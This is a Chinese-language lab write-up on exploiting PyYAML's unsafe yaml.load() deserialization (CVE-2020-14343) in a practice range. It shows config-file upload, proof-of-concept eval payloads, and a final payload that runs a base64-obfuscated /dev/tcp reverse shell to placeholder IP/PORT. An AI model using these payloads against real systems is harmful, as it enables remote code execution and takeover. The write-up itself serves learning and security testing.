PyYAML中存在不安全的反序列化漏洞。攻击者可利用该漏洞执行任意代码。
开启靶场
代码分析
反序列化位置
发现告诉你源代码位置了,下载源代码分析。
yaml.load() #将一个yaml文档反序列化为一个Python对象。
源代码修改过,但不影响实验。
可以看到在登录后,他会检测本地配置文件,然后进行反序列化。
配置文件上传位置
访问upload路径可以将文件保存到配置文件路径
代码判断为如果登录的IP和配置文件的IP一样则登录成功:
在本地测试,上传一下文件,hosts为本地测试地址(192.168.1.85),使用Admin用户名登录。(密码无判断)上传文件。
证明是可以通过文件上传修改配置文件的。
需要注意的是,使用网站上传时,他会自己再次访问默认路径
并且默认路径会自动重新修改配置文件。
漏洞验证
https://github.com/raul23/pyyaml-CVE-2020-14343
可以看到提供了3个POC。
!!python/object/new:tuple #YAML可以表示各种对象,包括Python对象。这里,它尝试序列化一个Python的tuple,其中包含一个map。
!!python/object/new:map #这是YAML中用于指示创建一个新的Python对象的标签。
!!python/name:eval #这是指向Python的eval函数的引用。eval函数可以执行传入的字符串作为Python代码。
[ print('RCE EXPLOIT!') ] #这是一个Python代码字符串
执行成功
配置返连shell命令,构建新的payload
import('os').system(' ') # python 执行系统函数
#上传问文件内容
!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ "__import__('os').system('echo c2ggLWkgPiYgL2Rldi90Y3AvSVAvUE9SVCAwPiYx|base64 -d|bash')" ]]]
返连成功
获取flag
踩坑
1、本地复现时候,他提示参数有误。
yaml.load()报错 TypeError: load() missing 1 required positional argument: ‘Loader’ 解决方案
2、一开始使用pthon上线没有成功
参考文档
https://blog.csdn.net/chengdong996/article/details/123962061
https://github.com/raul23/pyyaml-CVE-2020-14343